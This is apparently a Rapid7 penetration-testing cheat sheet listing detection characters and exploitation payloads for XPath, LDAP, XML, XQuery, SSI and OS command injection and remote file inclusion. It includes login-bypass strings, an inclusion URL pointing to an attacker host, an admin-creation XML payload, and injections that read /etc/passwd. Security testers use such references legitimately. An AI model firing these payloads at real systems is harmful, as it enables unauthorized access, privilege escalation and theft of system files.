RAPID7

INJECTION CHEAT SHEET (non-SQL)

www.rapid7.com

XPATH Injection

Detection

‘	single quote
“	double quote

Exploitation

‘ or 1=1 or ‘’=‘	
‘] | * | user[@role=’admin	
“ NODENAME ”	returns all children of node
“ //NODENAME ”	returns all elements in the document
“ NODENAME//SUBNODENAME ”	returns all SUBNODE under NODE element
“ //NODENAME/[NAME=‘VALUE’] ”	returns all NODE that have a NAME child equal to VALUE
http://site.com/login.aspx?username=foo’ or 1=1 or ‘’=‘	Login bypass

LDAP Injection

Detection

(	opening bracket
)	closing bracket
|	Pipe - OR operator for LDAP
&	Ampersand - AND operator for LDAP
!	Exclamation - NOT operator for LDAP

Exploitation

(&(param1=val1)(param2=val2))	AND operator
(|(param1=val1)(param2=val2))	OR operator
)(ObjectClass=)) (&(objectClass=void	Blind LDAP Injection using AND operator
void)(ObjectClass=void))(&(objectClass=void	BLIND LDAP Injection using OR operator
http://site.com/ldapsearch?user=*	Displays list of all users with attributes

Remote Code Injection

Upload File

Upload file	
PHP, JSP, ASP etc.	Injecting active content
execution!	Access back from webroot

Remote file inclusion/injection

include($incfile);	PHP call
http://site.com/page.php?file=http://www.attacker.com/exploit	Injecting

XML Injection

Detection

‘	single quote
“	double quote
< >	angular parentheses
<!--/-->	XML Comment tag
&	ampersand
<![CDATA[/]]>	CDATA section delimiters

Exploitation

<!-- EXISTING TAG -->	New value of existing tag along with tag name
http://www.example.com/addUser.php?username=dan&password=123456<!--email:--><userid>0</userid><mail>foo@emaildomain.com	Add user as administrator

OS Command Injection

Detection

| <ANOTHER COMMAND>	Pipe - On *NIX Output of first command to another, In Windows multiple commands execution
; <ANOTHER COMMAND>	semicolon - Running two commands together

Exploitation

%<ENV VARIABLE>%	Windows only
&	Running command in background (*NIX Only)
://site.com/whois.php?domain=foobar;echo+/etc/passwd	Displays content of /etc/passwd file

XQuery Injection

Detection

‘	single quote
“	double quote

Exploitation

‘ or <ATTACK> or .=’	
something” or “”=”	
http://site.com/xmlsearch?user=foo” or “”=”	Displays list of all users with attributes

SSI Injection

Detection

include, echo, exec	Look for word
.SHTML	File extension

Exploitation

< ! # = / . “ - > and [a-zA-Z0-9]	Required characters for successful execution
<!--#include virtual=”<SOME SYSTEM FILE >” -->	
http://site.com/ssiform.php?showfile=<!--#include virtual=”/etc/passwd” -->	Displays content of /etc/passwd file